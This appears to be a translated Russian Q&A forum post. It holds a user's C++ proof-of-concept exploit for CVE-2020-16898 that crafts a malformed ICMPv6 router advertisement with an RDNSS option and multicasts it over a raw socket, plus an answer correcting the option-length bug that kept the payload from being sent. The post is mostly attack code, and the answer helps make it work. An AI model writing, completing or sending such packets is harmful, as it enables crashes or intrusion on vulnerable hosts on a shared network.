Сокеты - sendto() усекает параметры ICMPv6

Из любопытства я пытался написать простой экспериментальный эксплойт для CVE-2020-16898. Я использовал RFC (RFC 4861 и RFC 6106), чтобы получить правильный формат, и мне удалось отправить созданный пакет рекламы маршрутизатора ICMPv6, используя приведенный ниже код. Однако просмотр пакета в Wireshark показал, что параметр 25 (полезная нагрузка) отсутствовал в фактически отправленном пакете.

Я подозреваю, что это как-то связано с длиной пакета - я попытался преобразовать его в Big Endian (используя как htons(), так и вручную вставив шестнадцатеричное число), но в этих случаях sendto() не работает с сообщением "Слишком длинное сообщение" ошибка. Полезная нагрузка должна иметь длину 56 байтов, что должно быть значительно ниже установленных ограничений.

Я включаю свой код ниже. Буду признателен за любую помощь.

       #include <iostream>
#include <cstdlib>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <arpa/inet.h>

struct ipHeader{
    uint8_t priority:4, version:4;
    uint8_t flow[3];
    uint16_t length;
    uint8_t nextHeader;
    uint8_t hopLimit;

    // 128-bit IPv6 addresses
    uint16_t srcAddress[8];
    uint16_t dstAddress[8];
};

struct payload{
    uint8_t type;
    uint8_t code;
    uint16_t checksum;
    uint32_t curHopLimit:8, M:1,O:1, reserved:6, lifetime:16;
    uint16_t routerLifetime;
    uint32_t reachableTime;
    uint32_t retrans;
    // Options, probably should be its own struct
    uint8_t optionType;
    uint8_t optionLength;
    uint16_t optionReserved;
    uint32_t optionLifetime;
    uint32_t dnsAddress[4]; // 128-bit IPv6 address
    uint64_t randomGarbage; // This is where magic happens
};

int main()
{
    uint8_t *packet;
    packet = (uint8_t *) malloc(sizeof(ipHeader) + sizeof(payload));

    ipHeader *ip;
    payload *icmp;

    // Place IP header + payload directly to the packet buffer
    ip = (ipHeader *) packet;
    // Offset of payload in packet buffer
    icmp = (payload *)(packet+sizeof(ipHeader));

    // IPv6 packet header (arcane magic stuff)
    ip->version = 0b0110;
    ip->priority = 0;
    (ip->flow)[0] = 0;
    (ip->flow)[1] = 0;
    (ip->flow)[2] = 0;
    ip->length = htons(sizeof(payload)); // Should be 0x3800 (Big Endian)
    ip->nextHeader = 58;
    ip->hopLimit = UINT8_MAX; //Most hops possible to prevent the packet from being dropped

    std::cout << std::hex << ip->length << std::dec << std::endl;

    // ICMPv6 router advertisement packet (more arcane magic stuff)
    icmp->type = 134; // Router advertisement
    icmp->code = 0;
    icmp->checksum = 0; // will set/calculate later
    icmp->curHopLimit = 64;
    icmp->M = 0;
    icmp->O = 0;
    icmp->reserved = 0;
    icmp->lifetime = 0;
    icmp->reachableTime = 0;
    icmp->retrans = 0;
    icmp->optionType = 25;
    icmp->optionLength = htonl(3);
    icmp->optionLifetime = UINT32_MAX;
    icmp->randomGarbage = UINT64_MAX; // not very random, but w/ever
    icmp->checksum = 0x2e55;

    sockaddr_in6 remote{};
    remote.sin6_family = AF_INET6;
    remote.sin6_port = 0;
    remote.sin6_flowinfo = 0;
    remote.sin6_scope_id = 0;

    //Set addresses
    inet_pton(AF_INET6, "fe80::eab1:fcff:fedb:74", &(ip->srcAddress));
    inet_pton(AF_INET6, "ff02::1", &remote.sin6_addr);
    inet_pton(AF_INET6, "ff02::1", &(ip->dstAddress));
    inet_pton(AF_INET6, "2001:4860:4860::8844", &(icmp->dnsAddress)); // Google DNS, just to use a valid setting

    int sock, optVal;
    sock = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
    if(sock == -1){
        perror("Failed to open socket");
        exit(-1);
    }

    int status;
    status = setsockopt(sock, IPPROTO_IPV6, IPV6_HDRINCL, &optVal, sizeof(int));
    if(status != 0){
        std::cout << "Socket options returned status " << status << std::endl;
        perror("Failed to set socket options");
        exit(-2);
    }

    std::cout << "Sockets ready, sending payload..." << std::endl;
    std::cout << "Payload size: " << sizeof(payload) << std::endl;

    status = sendto(sock, packet, ip->length, 0, (sockaddr *) &remote, sizeof(remote));
    if(status != ip->length){
        std::cout << "sendto() returned status" << status << "(Errno: " << errno << ")" << std::endl;
        perror("Failed to send packet");
        exit(-3);
    }

    return 0;
}

1 ответ

У вас есть:

    uint8_t optionLength;

и:

icmp->optionLength = htonl(3);

В этом нет смысла.

В optionLengthполе всего один байт. Нет способа, которым одно байтовое поле может быть прямым или прямым порядком байтов. Это всего лишь один байт.

Так как это недолго, присваивая результат htonlк этому полю - ошибка. Просто используйте = 3.

Другие вопросы по тегам